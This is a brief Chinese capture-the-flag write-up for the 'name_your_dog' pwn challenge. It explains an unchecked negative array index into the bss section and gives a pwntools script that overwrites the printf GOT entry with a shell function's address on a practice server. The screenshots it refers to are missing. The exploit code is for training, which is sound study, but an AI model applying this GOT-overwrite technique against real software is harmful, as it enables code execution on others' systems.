image.png
    保护措施
    image.png
    这里是漏洞函数,和那道cat的题目一样没有看哪知dog,所以这里可以随便写哪知dog,以前那道题目记得是栈上,这里是bss段,所以劫持return address是不大可靠啊的,这里我们可以输入一个负的,然后可以劫持got,但是这里got表的地址与bss段的地址要是8的倍数

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level='debug'
    4. io = process('./wustctf2020_name_your_dog')
    5. io = remote('node4.buuoj.cn',26539)
    6. #libc =ELF("libc-2.23.so")
    7. #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    8. elf = ELF("./wustctf2020_name_your_dog")
    9. bss_addr = 0x0804A060
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. shell = 0x080485CB
    14. printf_got = elf.got["printf"]
    15. #print(hex(printf_got))
    16. io.recvuntil(">")
    17. #debug()
    18. io.sendline("-7")
    19. io.recvuntil("Give your name plz: ")
    20. io.sendline(p32(shell))
    21. io.interactive()